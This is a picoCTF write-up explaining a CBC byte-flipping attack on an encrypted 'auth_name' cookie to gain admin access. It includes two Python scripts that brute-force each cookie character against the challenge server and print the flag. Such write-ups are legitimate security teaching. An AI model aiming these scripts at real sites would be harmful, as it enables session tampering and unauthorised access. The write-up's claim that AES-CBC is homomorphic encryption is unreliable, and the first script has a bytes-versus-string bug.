I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! http://mercury.picoctf.net:25992/
The challenge gives us a link which opens a webpage saying we need to be the admin to view the page. Taking a hint from the name of the challenge we see that we must probably modify the cookies on the page correctly to make us the admin. Looking at the cookies of the page we see an "auth_name" cookie on it with a double base64 encoded string. Decoding the base64 encoded string twice gives us nonsense output of
»h�{�q;¿a�¤ªÐº4®Ë<Í�5\�ÒÕèT̳` ¸ü��î`���U�7C']<Q6Dn�\û�$�~ov$ÐîNЦ��Y(�ù�üCöü�?��ß
R ��x@ç¨ê�°"
so we can rightly assume that it is encoded somehow. Looking at the hints for the challenge we are given this link: https://en.wikipedia.org/wiki/Homomorphic_encryption. In addition to this, looking at the capital letters in the description we see "CBC". AES-CBC is a type of homomorphic encryption so we know we are on the right track. Researching various vulnerabilities in CBC we come across the byte-flipping attack where by changing a byte in the ciphertext we change one byte in the plaintext of the encrypted message.
You can read more about this attack here: https://resources.infosecinstitute.com/topic/cbc-byte-flipping-attack-101-approach/.
From this we can deduce that the cookie looks something like 'admin=0' and we need to change it to 'admin=1'. For this, I wrote a script that changes every byte of the base64 encoded cookie to every other possible value for the byte and once the correct one is hit, the request will return the flag:
#CBC bit flipping attack
import requests
s = requests.Session()
response = s.get('http://mercury.picoctf.net:25992/')
cookie = s.cookies['auth_name']
print(s.cookies)
print(cookie)
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in range(0, len(cookie)):
for alphchar in alphabet:
newcookie = cookie[:i] + alphchar + cookie[i + 1:]
print(newcookie)
cookies_dict = {'auth_name': newcookie}
print(cookies_dict)
response = requests.get('http://mercury.picoctf.net:25992/', cookies=cookies_dict)
print(response.content)
if 'pico' in response.content:
exit()
As you can see the script simply enumerates over every byte in the cookie, replaces it with every possible character byte it could be, and then makes a request to the url with the new cookie. After hitting the request with the flag it will exit and show the contents of the webpage that was return with the request with the proper admin cookie.
I also made a cleaner implementation with the help of my friend that goes as follows:
import requests
# Visualization Tools
def printProgressBar(iteration, total, prefix='', suffix='', decimals=1, length=100, fill='█', printEnd="\r", text=''):
"""
Call in a loop to create terminal progress bar
@params:
iteration - Required : current iteration (Int)
total - Required : total iterations (Int)
prefix - Optional : prefix string (Str)
suffix - Optional : suffix string (Str)
decimals - Optional : positive number of decimals in percent complete (Int)
length - Optional : character length of bar (Int)
fill - Optional : bar fill character (Str)
printEnd - Optional : end character (e.g. "\r", "\r\n") (Str)
"""
percent = ("{0:." + str(decimals) + "f}").format(100 *
(iteration / float(total)))
filledLength = int(length * iteration // total)
bar = fill * filledLength + '-' * (length - filledLength)
print(f'\r{prefix} |{bar}| {percent}% {suffix}', end=printEnd)
# Print New Line on Complete
if iteration == total:
print()
# CBC bit flipping attack
s = requests.Session()
url = 'http://mercury.picoctf.net:{}/'.format(
input("Please enter your port number:"))
print("Starting enumeration on {}".format(url))
response = s.get(url)
cookie = s.cookies['auth_name']
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
total = len(cookie)*len(alphabet)
printProgressBar(0, total, prefix='Testing Cookie (0/0):',
suffix='Complete', length=50)
for i in range(0, len(cookie)):
for j, alphchar in enumerate(alphabet):
newcookie = cookie[:i] + alphchar + cookie[i + 1:]
curr = i*len(alphabet)+j
printProgressBar(curr, total, prefix='Testing Cookie ({}/{}):'.format(curr, total),
suffix='Index:{} | Letter:{}'.format(i, alphchar), length=50, text=newcookie)
cookies_dict = {'auth_name': newcookie}
response = requests.get(
url, cookies=cookies_dict)
if "pico" in response.content.decode():
print(newcookie)
print("************************")
print(response.content.decode().split(
"<code>")[1].split("</code>")[0])
print("************************")
exit()
It takes a fair amount of time to run and return the flag.
picoCTF{cO0ki3s_yum_82f39377}